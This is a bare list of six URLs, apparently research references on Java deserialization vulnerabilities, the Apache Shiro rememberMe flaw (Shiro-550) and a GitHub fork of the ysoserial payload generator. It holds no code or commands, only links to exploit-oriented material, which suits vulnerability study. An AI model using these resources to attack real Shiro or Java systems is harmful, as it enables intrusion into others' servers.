https://yinwc.github.io/2020/02/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
https://www.cnblogs.com/1vxyz/p/17572415.html
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://www.cnblogs.com/CVE-Lemon/p/17935937.html
https://github.com/wh1t3p1g/ysoserial